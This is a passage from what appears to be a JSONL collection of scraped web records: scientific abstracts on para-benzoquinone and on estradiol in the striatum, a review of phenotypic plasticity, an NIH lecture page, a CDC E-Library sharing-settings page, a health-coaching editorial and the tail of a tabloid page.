sve\u017ea, ali jedno je sigurno \u2013 istina, koliko god neo\u010dekivana i \u0161okantna, ponekad donosi olak\u0161anje i priliku za novo razumevanje, \u010dak i kada po\u010dinje u obliku sumnje i bola.\nPlease leave this field empty\nPRIRODNI LIJEKOVI\n\u22c6 BESPLATNO ZA TEBE \u22c6\nUpi\u0161i svoj email i preuzmi priru\u010dnik 'Ljekovito bilje'! Nau\u010di tajne prirodnih lijekova i otkrij kako posti\u0107i ravnote\u017eu i zdravlje uz pomo\u0107 \u010dudesnih biljaka.\nJednim klikom preuzmi priru\u010dnik s najboljim prirodnim lijekovima!\nYou\u2019ve been successfully subscribed to our newsletter!\nShare\nFacebook\nTwitter\nGoogle+\nPinterest\nWhatsApp\nPrevious articleZa\u0161to se omek\u0161iva\u010d ne osje\u0107a svaki put kada operete ve\u0161? JER PRAVITE OVU GRE\u0160KU\nNext article\u017dana je \u017eivela u tri veka, jela kg \u010dokolade nedeljno, pu\u0161ila 96 godina i pila vino, a u 114. je snimila i film: Ali svoju dugove\u010dnost pripisala je ovome\nRedakcija\nRELATED ARTICLESMORE FROM AUTHOR\nNovo\nGDJE NA LICU IMATE MLADE\u017d \u2013 SVAKI IMA ZNA\u010cENJE: Odmah prona\u0111ite broj i otkrijte \u0160TA TO GOVORI O VAMA\nNovo\nFEBRUAR DONOSI OGROMNE PROMJENE: Neka se Ribe, \u0160korpija i OVAJ znak pripreme na najuzbudljivije \u017eivotne promjene i preokrete do sad!\nNovo\nMoj sin je spasio \u017eivot starije \u017eene koju je zima gotovo odnela\nNajnovije\nNa\u0161a diva odrasla u siroma\u0161tvu, kao dete pevala na ulici, pa...\nNovember 4, 2024\nEvo kako je izgledao poslednji susret Isidore Bjelice sa ocem: Zbog...\nAugust 9, 2025\nMaja iz Kraljeva je samohrana majka 11 dece: Mu\u017e joj je...\nNovember 22, 2024\n\u017dene \u0161irom Jugoslavije su ludele za njim, a na slikama iz...\nApril 13, 2025\nDa li je obavezno nositi maramu u crkvi? Evo \u0161ta ka\u017ee...\nFebruary 1, 2026\nLoad more\nIzdvojeno\nNovo\nDva meseca je na grobu mu\u017ea vi\u0111ala TU\u0110E cve\u0107e: Pomislila da...\nNovo\n\u201cUzmi sve \u0161to ti \u017eivot pru\u017ea\u201d: Ruski jeromonah o danas najpopularnijoj...\nDom i vrt\nNered u ku\u0107i privla\u010di bedu i siroma\u0161tvo, \u0161to pre o\u010distite ove...\nUncategorized\nDodajte karanfili\u0107 u bebi ulje ZA 1 MINUT BI\u0106ETE \u0160OKIRANI REZULTATOM\nNovo\nVeliki mese\u010dni horoskop za oktobar: Vaga \u0107e uraditi ono \u0161to je...\nNovo\nMislila je da je glavna zvijezda vjen\u010danja \u2013 dok nisam reagovala\nABOUT US\nDobrodo\u0161li na na\u0161 blog. \u017delimo da u\u017eivate u zanimljivom i inspirativnom sadr\u017eaju za sve prilike. Za vas, svakodnevno donosimo zanimljive i korisne informacije iz svijeta i regiona, razli\u010ditih tema od politike do viralnih stvari iz cijelog svijeta.\nContact us: \nFOLLOW US\nPo\u010detna\nO nama\nKontakt\nPravila i uslovi kori\u0161tenja\nPrivacy policy\n\u00a9 Sva prava pridr\u017eana - 2025. - Preno\u0161enje sadr\u017eaja dozvoljeno u OBAVEZNO navo\u0111enje izvora i backlinka na originalni sadr\u017eaj.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/596bc73e-4615-4003-a9eb-8c4aeb11f974", "content_hash": "a19b03892e1a37db075b78b13b08b38aa9ee892b5609920f34b90a789eb95001", "created_at": "2026-03-28T05:10:43.396112716Z"} +{"id": "21a630cf-555d-4454-9a08-2be700edc6c4", "source": "brain", "text": "Electron-impact electronic-state excitation of para-benzoquinone\n\nElectron-impact electronic-state excitation of para-benzoquinone\nElectron-impact electronic-state excitation of para-benzoquinone\nJ Chem Phys. 2018 Mar 28;148(12):124312. doi: 10.1063/1.5023494.\nAuthors\nD B Jones 1 , R F da Costa 2 , F Kossoski 2 , M T do N Varella 3 , M H F Bettega 4 , F Ferreira da Silva 5 , P Lim\u00e3o-Vieira 5 , G Garc\u00eda 6 , M A P Lima 2 , R D White 7 , M J Brunger 1\nAffiliations\n1 College of Science and Engineering, Flinders University, GPO Box 2100, Adelaide, SA 5001, Australia.\n2 Instituto de F\u00edsica \"Gleb Wataghin,\" Universidade Estadual de Campinas, 13083-859 Campinas, S\u00e3o Paulo, Brazil.\n3 Instituto de F\u00edsica, Universidade de S\u00e3o Paulo, Rua do Mat\u00e3o 1731, 05508-090 S\u00e3o Paulo, S\u00e3o Paulo, Brazil.\n4 Departamento de F\u00edsica, Universidade Federal do Paran\u00e1, CP 19044, 81531-990 Curitiba, Paran\u00e1, Brazil.\n5 Laborat\u00f3rio de Colis\u00f5es At\u00f3micas e Moleculares, CEFITEC, Departamento de F\u00edsica, Faculdade de Ci\u00eancias e Tecnologia, Universidade NOVA de Lisboa, 2829-516 Caparica, Portugal.\n6 Instituto de Fisica Fundamental, CSIC, Serrano 113-bis, E-28006 Madrid, Spain.\n7 College of Science and Engineering, James Cook University, Townsville, Australia.\nPMID: 29604872\nDOI: 10.1063/1.5023494\nAbstract\nAngle resolved electron energy loss spectra (EELS) for para-benzoquinone (C6H4O2) have been recorded for incident electron energies of 20, 30, and 40 eV. Measured differential cross sections (DCSs) for electronic band features, composed of a combination of energetically unresolved electronic states, are subsequently derived from those EELS. Where possible, the obtained DCSs are compared with those calculated using the Schwinger multichannel method with pseudopotentials. These calculations were performed using a minimum orbital basis single configuration interaction framework at the static exchange plus polarisation level. Here, quite reasonable agreement between the experimental cross sections and the theoretical cross sections for the summation of unresolved states was observed.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/21a630cf-555d-4454-9a08-2be700edc6c4", "content_hash": "1c32c7d5b8bfd274ae6b145daa5bb3b1e2f8a9652a6af8ae4e8354cf5504656f", "created_at": "2026-03-28T05:10:43.260858632Z"} +{"id": "60c6bf3e-4a86-4cea-9272-2218137e8a07", "source": "brain", "text": "Phenotypic Plasticity: From Theory and Genetics to Current and Future Challenges - PMC\n\nPhenotypic Plasticity: From Theory and Genetics to Current and Future Challenges - PMC\nSkip to main content\nAn official website of the United States government\nHere's how you know\nHere's how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( Lock\nLocked padlock icon ) or https:// means you've safely connected to the .gov website. Share sensitive information only on official, secure websites.\nSearch\nLog in\nDashboard\nPublications\nAccount settings\nLog out\nSearch\u2026\nSearch NCBI\nPrimary site navigation\nSearch\nLogged in as:\nDashboard\nPublications\nAccount settings\nLog in\nSearch PMC Full-Text Archive\nSearch in PMC\nJournal List\nUser Guide\nPERMALINK\nCopy\nAs a library, NLM provides access to scientific literature. Inclusion in an NLM database does not imply endorsement of, or agreement with, the contents by NLM or the National Institutes of Health.\nLearn more: PMC Disclaimer | PMC Copyright Notice\nGenetics\n. 2020 Mar 10;215(1):1\u201313. doi: 10.1534/genetics.120.303163\nSearch in PMC\nSearch in PubMed\nView in NLM Catalog\nAdd to search\nPhenotypic Plasticity: From Theory and Genetics to Current and Future Challenges\nRalf J Sommer\nRalf J Sommer\n1Max Planck Institute for Developmental Biology, Department for Integrative Evolutionary Biology, 72076 T\u00fcbingen, Germany\nFind articles by Ralf J Sommer\n1,1\nAuthor information\nArticle notes\nCopyright and License information\n1Max Planck Institute for Developmental Biology, Department for Integrative Evolutionary Biology, 72076 T\u00fcbingen, Germany\n1\nAddress for correspondence: Max Planck Institute for Developmental Biology, Max-Planck Ring 9, 72076 T\u00fcbingen, Germany. E-mail: \nReceived 2019 Nov 29; Accepted 2020 Mar 9; Issue date 2020 May.\nCopyright \u00a9 2020 by the Genetics Society of America\nAvailable freely online through the author-supported open access option.\nPMC Copyright notice\nPMCID: PMC7198268 PMID: 32371438\nPhenotypic plasticity is defined as the property of organisms to produce distinct phenotypes in response to environmental variation. While for more than a century, biologists have proposed this organismal feature...\nKeywords: phenotypic plasticity, polyphenisms, switch genes, plasticity first evolution, canalization, genetic assimilation, genetic accommodation, Pristionchus, Spea, Ontophagus, Manduca\nAbstract\nPhenotypic plasticity is defined as the property of organisms to produce distinct phenotypes in response to environmental variation. While for more than a century, biologists have proposed this organismal feature to play an important role in evolution and the origin of novelty, the idea has remained contentious. Plasticity is found in all domains of life, but only recently has there been an increase in empirical studies. This contribution is intended as a fresh view and will discuss current and future challenges of plasticity research, and the need to identify associated molecular mechanisms. After a brief summary of conceptual, theoretical, and historical aspects, some of which were responsible for confusion and contention, I will formulate three major research directions and predictions for the role of plasticity as a facilitator of novelty. These predictions result in a four-step model that, when properly filled with molecular mechanisms, will reveal plasticity as a major factor of evolution. Such mechanistic insight must be complemented with comparative investigations to show that plasticity has indeed created novelty and innovation. Together, such studies will help develop a true developmental evolutionary biology.\nPHENOTYPIC plasticity is the ability of a genotype to produce different phenotypes in response to distinct environmental conditions (Schlichting and Pigliucci 1998; Pigliucci 2001; West-Eberhard 2003; deWitt and Scheiner 2004; Whitman and Ananthakrishnan 2009; Moczek et al. 2011). Intrinsically, phenotypic plasticity refers to all kinds of environmentally induced phenotypic variation and it can affect morphological, physiological, and behavioral aspects of an organism\u2019s phenotype, but also its life history. Plasticity is a universal property of living things, because all organisms respond to genes and the environment alike; thus, plasticity is found throughout all domains of life. While botanists have long appreciated the environmental influence on plant morphology, plasticity was less valued in animal systems, although it is as widespread in animals as in plants (West-Eberhard 1989). In addition, plasticity is known from bacteria, and even phage \u03bb and other bacteriophages with their lytic (virulent) vs. lysogenic (temperate) life cycles. It is an interesting oddity of the history of biology that the first molecular process that was ever elucidated to near completion, the regulation of the lytic cycle in phage \u03bb, represents an example of plasticity, even though it is rarely discussed as such (Ptashne 2004).\nPlasticity is pervasive, as demonstrated by the many examples currently studied in laboratories around the world. In the interest of space, I will not provide an overview of these study systems as there are simply too many. Instead, I refer the reader to the many review articles that have been published in recent years and that provide excellent overviews (Abouheif et al. 2014; Lande 2014; Laland et al. 2014, 2015; Moczek et al. 2015; Nalepa 2015; Nijhout 2015; Brisson and Davis 2016; Phillips 2016; Susoy and Sommer 2016; Tandonnet and Pires-daSilva 2016; Gibert 2017; Noble et al. 2017; Projecto-Garcia et al. 2017; Reuter et al. 2017; Schneider and Meyer 2017; Serobyan and Sommer 2017; Gilbert 2018; Jones and Robinson 2018; Josephs 2018; Oettler et al. 2018; Sanger and Rajakumar 2018; Sieriebriennikov and Sommer 2018; Uller et al. 2018; Lafuente and Beldade 2019; Levis and Pfennig 2019). While this list contains only those reviews published since 2014 and is likely still incomplete, it demonstrates the growing awareness about plasticity and its evolutionary significance.\nThis growing awareness is in strong contrast to a long phase of neo-Darwinism that neglected the importance of development and the significance of the organism\u2019s responsiveness to the environment for evolution. For example, Williams objected that plasticity guarantees a dead end for the underlying traits, arguing that plasticity hinders evolution (Williams 1966). Similar arguments were made by Charlesworth et al. (1982), disputing the importance of development and the environment in favor of selection as the \u201cmain guiding force of phenotypic evolution\u201d (Charlesworth et al. 1982, p. 474). Such skepticism remained for decades and largely centered around three major reservations (Box 1A) (Wund 2012). First, is there sufficient empirical evidence for plasticity in general, and for plasticity as a driver of evolutionary change? Second, does plasticity act to promote or hinder evolution? Finally, what could be the molecular mechanisms of the environmental influence on phenotypes, how do such mechanisms become genetically encoded, and how do they become a target of selection? These reservations highlighted the fundamental challenges for research on phenotypic plasticity, but they also provided a road map for novel investigations.\nBox 1.\nA: Historical skepticism against phenotypic plasticity and its significance for evolution\n1. Empirical evidence for plasticity?\n2. Can environmental responsiveness promote evolution?\n3. Molecular mechanisms of environmental influence?\nHow should environmental effects be targeted by selection?\nB: Developmental plasticity and evolution - West-Eberhard and four unique contributions for plasticity as a mechanism of evolution\nA giant collection of alternative phenotypes\nAlternative phenotypes as functionally independent targets of selection\nA general critique of Neo-Darwinism and its inconsistencies and gaps\nPlasticity as a facilitator of novelty (The facilitator hypothesis)\nC: ", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/60c6bf3e-4a86-4cea-9272-2218137e8a07", "content_hash": "d1dde5f80e4638a103a66ff0040747d74df2873d939e0d89d3408a2e7dc28fd9", "created_at": "2026-03-28T05:10:43.060279643Z"} +{"id": "1a853491-e0d6-46f5-9a77-41bf29469600", "source": "brain", "text": "NIH VideoCast - 2025 Joram Piatigorsky Basic Science Lecture and Award\n\nNIH VideoCast - 2025 Joram Piatigorsky Basic Science Lecture and Award\nSkip Navigation\nAn official website of the United States government\nHere\u2019s how you know\nHere\u2019s how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( Lock\nLocked padlock icon ) or https:// means you\u2019ve safely connected to the .gov website. Share sensitive information only on official, secure websites.\nNIH VideoCasting\nCIT can broadcast your seminar, conference or meeting live to a world-wide audience over the Internet as a real-time streaming video. The event can be recorded and made available for viewers to watch at their convenience as an on-demand video or a downloadable file. CIT can also broadcast NIH-only or HHS-only content.\nVideoCast Home\nPast Events\nUpcoming Events\nFAQ\nContact Us\nTest Computer\nSearch\nhttps://uccwow2.cit.nih.gov/vod\n2025 Joram Piatigorsky Basic Science Lecture and Award\nLoading... Loading video...\n167 Views\n\u00d7\nAir date: Wednesday, April 23, 2025, 3:00:00 PM\nTime displayed is Eastern Time, Washington DC Local\nViews: Total views: 167 (63 Live, 104 On-demand)\nCategory: Special\nRuntime: 01:17:54\nClosed captioning: Check box to display CC outside of the video\nNote: You can drag the captioning window around and resize it\nDescription: Claude Desplan, Ph.D. from New York University, will deliver this year's 2025 Joram Piatigorsky Basic Science Lecture and Award. The lecture will take place on Wednesday, April 23, 2025, from 3:00 PM-4:15 PM at Masur Auditorium, located in the Clinical Center (Building 10) on the NIH campus. It will be followed by a light reception. Trainees and scientists from all NIH ICs are encouraged to attend. Made possible by the generous philanthropic support of Lona and Joram Piatigorsky, this series brings attention to notable basic sciences contributions by eye and vision scientists to a diverse general scientific audience, such as experts in molecular biology, genetics, developmental biology, neuroscience, and computer science. With special consideration for basic eye and vision scientists who take risks exploring little-studied species and imaginative ideas, the Lecture and Award promotes and communicates basic discoveries in eye and vision research that result in far-reaching observations that may inform widespread areas of science\u2014from the eye to the world as it were\u2014rather than the other way around.\nAuthor: Claude Desplan, PhD\nDownload\nCIT Live ID: 56709\nPermanent link: https://videocast.nih.gov/watch=56709\nMore...\nRelated Videos...\n07:46:18\nFrontiers of Knowledge in Sleep & Sleep Disorders: Opportunities for Improving Health and Quality of Life (Day 1)\n[Advisory Boards and Councils]\n3/29/2004\n05:15:13\nAmerican Health Information Community - January 2006\n[Advisory Boards and Councils]\n1/17/2006\n06:32:18\nNational Cancer Advisory Board - February 2008 (Day 1)\n[National Cancer Advisory Board]\n2/5/2008\n06:36:39\nScientific Management Review Board Meeting - May 2010 (Day 1)\n[Advisory Boards and Councils]\n5/18/2010\n04:38:42\nNICHD Intramural Scientific Retreat\n[Private (world)]\n9/27/2024\n01:31:02\n2024 Joram Piatigorsky Basic Science Lecture and Award\n[Special]\n9/11/2024\n01:48:11\nNational Advisory Eye Council - October 2025 (Rescheduled Date)\n[Advisory Boards and Councils]\n12/9/2025\n03:45:23\n70th Office of AIDS Research Advisory Council Meeting\n[Advisory Boards and Councils]\n1/29/2026\n06:35:42\nNIH Council of Councils\n[Council of Councils]\n1/29/2026\n02:55:25\nNational Advisory Council for Biomedical Imaging and Bioengineering\n[Advisory Boards and Councils]\n1/28/2026\nVideoCast Send Live Feedback\n\u00d7\n2025 Joram Piatigorsky Basic Science Lecture and Award\nYour name\nEmail Address\nMessage\nSend Message\nCancel\nVideoCast Downloader\n\u00d7\n2025 Joram Piatigorsky Basic Science Lecture and Award\nDownload VideoCast\nYou can download this VideoCast and play it on your device. There are multiple sizes available for you to choose from.\nSelect bitrate\n150k 440k 740k 1040k 1240k 1840k\nDownload caption text\nYou can download caption text of the VideoCast.\nDownload captions\nCaption text\nDownload Help\nClose", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/1a853491-e0d6-46f5-9a77-41bf29469600", "content_hash": "0360ec778fee70997512d8a811c386942e864bd9e9d2fc9b55ff0dd7b83a62ca", "created_at": "2026-03-28T05:10:43.049725991Z"} +{"id": "8b62b2c4-cc52-4926-a8d9-55aa0afcf6c5", "source": "brain", "text": "CDC E-Library\n\nCDC E-Library\nSkip to main content\nProcessing\nAccount Menu\nLog in\nDash\nFeatured collections\nRecent\nKnowledge Base\nSearch\nPhoto/Illustrations\nDocument\nVideo\nAudio\nCDC Notice\nShare resource - Editing external share 41085a1853\nBack to resource view\nAccess Open Restricted\nExpires Never 06 February 26 07 February 26 08 February 26 09 February 26 10 February 26 11 February 26 12 February 26 13 February 26 14 February 26 15 February 26 16 February 26 17 February 26 18 February 26 19 February 26 20 February 26 21 February 26 22 February 26 23 February 26 24 February 26 25 February 26 26 February 26 27 February 26 28 February 26 01 March 26 02 March 26 03 March 26 04 March 26 05 March 26 06 March 26 07 March 26 08 March 26 09 March 26 10 March 26 11 March 26 12 March 26 13 March 26 14 March 26 15 March 26 16 March 26 17 March 26 18 March 26 19 March 26 20 March 26 21 March 26 22 March 26 23 March 26 24 March 26 25 March 26 26 March 26 27 March 26 28 March 26 29 March 26 30 March 26 31 March 26 01 April 26 02 April 26 03 April 26 04 April 26 05 April 26 06 April 26 07 April 26 08 April 26 09 April 26 10 April 26 11 April 26 12 April 26 13 April 26 14 April 26 15 April 26 16 April 26 17 April 26 18 April 26 19 April 26 20 April 26 21 April 26 22 April 26 23 April 26 24 April 26 25 April 26 26 April 26 27 April 26 28 April 26 29 April 26 30 April 26 01 May 26 02 May 26 03 May 26 04 May 26 05 May 26 06 May 26 07 May 26 08 May 26 09 May 26 10 May 26 11 May 26 12 May 26 13 May 26 14 May 26 15 May 26 16 May 26 17 May 26 18 May 26 19 May 26 20 May 26 21 May 26 22 May 26 23 May 26 24 May 26 25 May 26 26 May 26 27 May 26 28 May 26 29 May 26 30 May 26 31 May 26 01 June 26 02 June 26 03 June 26 04 June 26 05 June 26 06 June 26 07 June 26 08 June 26 09 June 26 10 June 26 11 June 26 12 June 26 13 June 26 14 June 26 15 June 26 16 June 26 17 June 26 18 June 26 19 June 26 20 June 26 21 June 26 22 June 26 23 June 26 24 June 26 25 June 26 26 June 26 27 June 26 28 June 26 29 June 26 30 June 26 01 July 26 02 July 26 03 July 26 04 July 26 05 July 26 06 July 26\nShare password (optional)\nExternal user sharing\nAccess key Type Shared by Shared with Last updated Last used Expires Access Social media\nTools\neb69bd4eee\nShare resource guest reader (guestnew) URL 06 March 19 @ 14:21 06 February 26 @ 19:23 Never Open\nDelete Edit\nb24842e7ef\nShare resource guest reader (guestnew) URL 29 March 20 @ 18:51 06 February 26 @ 05:31 Never Open\nDelete Edit\nc0ad96db81\nShare resource guest reader (guestnew) URL 23 April 20 @ 21:51 04 February 26 @ 04:00 Never Open\nDelete Edit\n6bcd8632a4\nShare resource guest reader (guestnew) URL 28 April 20 @ 14:22 05 February 26 @ 09:23 Never Open\nDelete Edit\na052ae3692\nShare resource guest reader (guestnew) URL 12 May 20 @ 18:04 01 February 26 @ 16:55 Never Open\nDelete Edit\nf41031f32c\nShare resource guest reader (guestnew) URL 15 May 20 @ 18:38 06 February 26 @ 19:02 Never Open\nDelete Edit\n43bda13e80\nShare resource guest reader (guestnew) URL 31 May 20 @ 15:05 06 February 26 @ 04:42 Never Open\nDelete Edit\n896ba526f9\nShare resource guest reader (guestnew) URL 03 June 20 @ 17:47 05 February 26 @ 00:41 Never Open\nDelete Edit\n5429b6424c\nShare resource guest reader (guestnew) URL 17 July 20 @ 01:26 Never Open\nDelete Edit\n41085a1853\nShare resource guest reader (guestnew) URL 20 July 20 @ 21:13 06 February 26 @ 18:53 Never Open\nDelete Edit\na9f24d3950\nShare resource guest reader (guestnew) URL 27 August 20 @ 12:51 02 February 26 @ 04:03 Never Open\nDelete Edit\ne542b551a6\nShare resource guest reader (guestnew) URL 07 November 20 @ 12:11 06 February 26 @ 18:22 Never Open\nDelete Edit\n746a2f22a6\nShare resource guest reader (guestnew) 07 November 20 @ 12:12 06 February 26 @ 19:52 Never Open\nDelete Edit\nc82c8d8b0f\nShare resource guest reader (guestnew) URL 10 November 20 @ 08:57 06 February 26 @ 16:58 Never Open\nDelete Edit\n80a914cda4\nShare resource guest reader (guestnew) URL 12 November 20 @ 03:28 24 January 26 @ 06:35 Never Open\nDelete Edit\n028930617d\nShare resource guest reader (guestnew) URL 17 December 20 @ 15:18 05 February 26 @ 01:31 Never Open\nDelete Edit\nb011a1a5a8\nShare resource guest reader (guestnew) URL 18 February 21 @ 14:21 06 February 26 @ 12:24 Never Open\nDelete Edit\nfa4d3f81ac\nShare resource guest reader (guestnew) URL 16 March 21 @ 16:01 Never Open\nDelete Edit\n134ea23432\nShare resource guest reader (guestnew) URL 01 April 21 @ 11:08 Never Open\nDelete Edit\n15c2a86228\nShare resource guest reader (guestnew) URL 16 February 23 @ 08:51 06 February 26 @ 15:53 Never Open\nDelete Edit\nCustom permissions\nNo users or groups with custom access found.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/8b62b2c4-cc52-4926-a8d9-55aa0afcf6c5", "content_hash": "fbf4ba37a2bc9c76a31bc7f52a37e6a6eeb84fe6d00a9760e1c29c372dc3cc9f", "created_at": "2026-03-28T05:10:42.934371530Z"} +{"id": "fd1258bd-12be-4feb-aeef-9ac1917f86f6", "source": "brain", "text": "Endogenous 17\u03b2-estradiol is required for activity-dependent long-term potentiation in the striatum: interaction with the dopaminergic system\n\nEndogenous 17\u03b2-estradiol is required for activity-dependent long-term potentiation in the striatum: interaction with the dopaminergic system\nEndogenous 17\u03b2-estradiol is required for activity-dependent long-term potentiation in the striatum: interaction with the dopaminergic system\nFront Cell Neurosci. 2015 May 27:9:192. doi: 10.3389/fncel.2015.00192. eCollection 2015.\nAuthors\nAlessandro Tozzi 1 , Antonio de Iure 2 , Michela Tantucci 2 , Valentina Durante 2 , Ana Quiroga-Varela 2 , Carmela Giamp\u00e0 3 , Michela Di Mauro 4 , Petra Mazzocchetti 2 , Cinzia Costa 2 , Massimiliano Di Filippo 2 , Silvarosa Grassi 4 , Vito Enrico Pettorossi 4 , Paolo Calabresi 5\nAffiliations\n1 Department of Experimental Medicine, Section of Physiology and Biochemistry, University of Perugia Perugia, Italy ; Fondazione Santa Lucia, IRCCS Rome, Italy.\n2 Clinica Neurologica, Dipartimento di Medicina, Universit\u00e0 degli Studi di Perugia, Ospedale Santa Maria della Misericordia Perugia, Italy.\n3 Fondazione Santa Lucia, IRCCS Rome, Italy.\n4 Department of Experimental Medicine, Section of Physiology and Biochemistry, University of Perugia Perugia, Italy.\n5 Fondazione Santa Lucia, IRCCS Rome, Italy ; Clinica Neurologica, Dipartimento di Medicina, Universit\u00e0 degli Studi di Perugia, Ospedale Santa Maria della Misericordia Perugia, Italy.\nPMID: 26074768\nPMCID: PMC4445326\nDOI: 10.3389/fncel.2015.00192\nAbstract\n17\u03b2-estradiol (E2), a neurosteroid synthesized by P450-aromatase (ARO), modulates various brain functions. We characterized the role of the locally synthesized E2 on striatal long-term synaptic plasticity and explored possible interactions between E2 receptors (ERs) and dopamine (DA) receptors in the dorsal striatum of adult male rats. Inhibition of E2 synthesis or antagonism of ERs prevented the induction of long-term potentiation (LTP) in both medium spiny neurons (MSNs) and cholinergic interneurons (ChIs). Activation of a D1-like DA receptor/cAMP/PKA-dependent pathway restored LTP. In MSNs exogenous E2 reversed the effect of ARO inhibition. Also antagonism of M1 muscarinic receptors prevented the D1-like receptor-mediated restoration of LTP confirming a role for ChIs in controlling the E2-mediated LTP of MSNs. A novel striatal interaction, occurring between ERs and D1-like receptors in both MSNs and ChIs, might be critical to regulate basal ganglia physiology and to compensate synaptic alterations in Parkinson's disease.\nKeywords: D1 receptor; P450-aromatase; cholinergic interneurons; estrogen receptors; long-term potentiation; medium spiny neurons; striatum; synaptic plasticity.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/fd1258bd-12be-4feb-aeef-9ac1917f86f6", "content_hash": "c4d971f8f772de71487fd01625b233a3e2a3190ca3a6f67cb76a0e3cb495c895", "created_at": "2026-03-28T05:10:42.906733819Z"} +{"id": "77175976-3fef-4ad5-b670-b17bd2742406", "source": "brain", "text": "The Four Pillars of Health Coaching: Preserving the Heart of a Movement - PMC\n\nThe Four Pillars of Health Coaching: Preserving the Heart of a Movement - PMC\nSkip to main content\nAn official website of the United States government\nHere's how you know\nHere's how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( Lock\nLocked padlock icon ) or https:// means you've safely connected to the .gov website. Share sensitive information only on official, secure websites.\nSearch\nLog in\nDashboard\nPublications\nAccount settings\nLog out\nSearch\u2026\nSearch NCBI\nPrimary site navigation\nSearch\nLogged in as:\nDashboard\nPublications\nAccount settings\nLog in\nSearch PMC Full-Text Archive\nSearch in PMC\nJournal List\nUser Guide\nPERMALINK\nCopy\nAs a library, NLM provides access to scientific literature. Inclusion in an NLM database does not imply endorsement of, or agreement with, the contents by NLM or the National Institutes of Health.\nLearn more: PMC Disclaimer | PMC Copyright Notice\neditorial\nGlob Adv Health Med\n. 2013 May 1;2(3):6\u20138. doi: 10.7453/gahmj.2013.038\nSearch in PMC\nSearch in PubMed\nView in NLM Catalog\nAdd to search\nShow available content in\nen\nzh\nes\nThe Four Pillars of Health Coaching: Preserving the Heart of a Movement\n\u5065\u5eb7\u8f85\u5bfc\u7684\u56db\u5927\u652f\u67f1\uff1a\u4fdd\u7559\u8fd9\u9879\u4e3e\u52a8\u7684\u6838\u5fc3\nLos cuatro pilares de la formaci\u00f3n sanitaria: conservaci\u00f3n de la esencia de un movimiento\nKaren Lawson\nKaren Lawson, MD, ABIHM\n1Center for Spirituality & Healing, University of Minnesota, Minneapolis, United States\nFind articles by Karen Lawson\n1,\u2709\nAuthor information\nArticle notes\nCopyright and License information\n1Center for Spirituality & Healing, University of Minnesota, Minneapolis, United States\n\u2709\nEmail: \n\u2709\nCorresponding author.\nIssue date 2013 May.\n\u00a9 2013 GAHM LLC.\nThis is an open-access article distributed under the terms of the Creative Commons Attribution-Non Commercial- No Derivative 3.0 License, which permits rights to copy, distribute and transmit the work for noncommercial purposes only, provided the original work is properly cited.\nPMC Copyright notice\nPMCID: PMC3833536 PMID: 24416668\nAbstract\nIn this special themed issue of Global Advances in Health and Medicine and in articles published on the journal's website (www.gahmj.com), you will read all about this new and maturing approach to health behavior change and the social and cultural conditions in modern medicine that have called this practice into being. You will learn about its inception and history,1 the philosophic constructs of its application,2,3 and its proposed mechanism of action.4 There are multiple case reports5\u20137 and clinical studies8\u201310 expanding our scientific understanding of coaching in health and wellness and descriptions about how to educate professionals to provide this new service.11,12 A review of existing literature in the field demonstrates the rapidly growing reported demonstration of its impact.13 I believe coaching is poised to have a major transformative impact on health and healthcare internationally; it also is at risk of being usurped and thereby deformed by the power of the existing paradigm of Western disease care and reductionistic scientific thought. That is the issue I wish to raise: How do we ensure the integrity of this new approach so that it can serve as a bridge from a broken system to a new horizon of holistic health and well-being?\nKey Words: Health coaching, behavior change, Four Pillars, mind, body, spirit\nIn this special themed issue of Global Advances in Health and Medicine and in articles published on the journal's website (www.gahmj.com), you will read all about this new and maturing approach to health behavior change and the social and cultural conditions in modern medicine that have called this practice into being. You will learn about its inception and history,1 the philosophic constructs of its application,2,3 and its proposed mechanism of action.4 There are multiple case reports5\u20137 and clinical studies8\u201310 expanding our scientific understanding of coaching in health and wellness and descriptions about how to educate professionals to provide this new service.11,12 A review of existing literature in the field demonstrates the rapidly growing reported demonstration of its impact.13 I believe coaching is poised to have a major transformative impact on health and healthcare internationally; it also is at risk of being usurped and thereby deformed by the power of the existing paradigm of Western disease care and reductionistic scientific thought. That is the issue I wish to raise: How do we ensure the integrity of this new approach so that it can serve as a bridge from a broken system to a new horizon of holistic health and well-being?\nI came to my own epiphany about the limitations and casualties of contemporary medicine in the mid-1980s during my training and early practice years as a family physician. It was a time when family practice was a newly recognized specialty and was working to prove itself as a respectable and professional branch of medicine. I was privileged to have the opportunity to learn from some of the last general practitioners who still did home visits, delivered babies, performed their own surgeries, provided care to entire multigenerational families over many years, and sat at the bedsides of the dying. They were, in many ways, the last of their kind in the United States. Through the introduction and rapid dominance of health maintenance organization models, the increasing corporatization of medicine, growing subspecialty development, and burgeoning fragmentation of care, the holism I sought became a rarity in the halls of hospitals and clinics. I began a search for other approaches to health and healing that acknowledged the mind, body, and spirit of individuals and families; empowered individuals in their own decision-making; and championed the innate healing capacities of humans when they have the support and resources they need. That search led me to learn about mind-body practices, functional nutrition, movement practices, energy medicine, systems such as traditional Chinese medicine and homeopathy, and spiritual healing approaches.\nBy the late 1990s, I had become an advocate and leader of holistic medicine and shifted my professional energies to that field, hoping to transform health-care from inside of medicine. In the process of leading the development of new interdisciplinary team models for holistic clinics, it became clear to me that there was a missing provider. Whether an individual received expert guidance from doctor of medicine, a doctor of chiropractic, a naturopathic doctor, a physical therapist, or a licensed acupuncturist, the patient often left the clinic with a great deal of information about changes to make and no clear plan as to how to make them. Patients needed someone to know and understand their unique strengths, challenges, and desires\u2014someone to walk with them through the demanding process of implementing new beliefs and behaviors in their lives\u2014in a way that would promote their own health and healing at the pace for which they were ready. This person needed to be in a trusted relationship with the patient, to be readily and frequently available, to see the patient as the capable expert in his or her own life, to understand the nature of the change process, and to be able to hold the vision of greater health for and with the patient. This person was, and is, an integrative health coach.\nWhen I joined the University of Minnesota Center for Spirituality and Healing in 2002, one of the topics of exploration was this: How do we create a training program for these new providers? 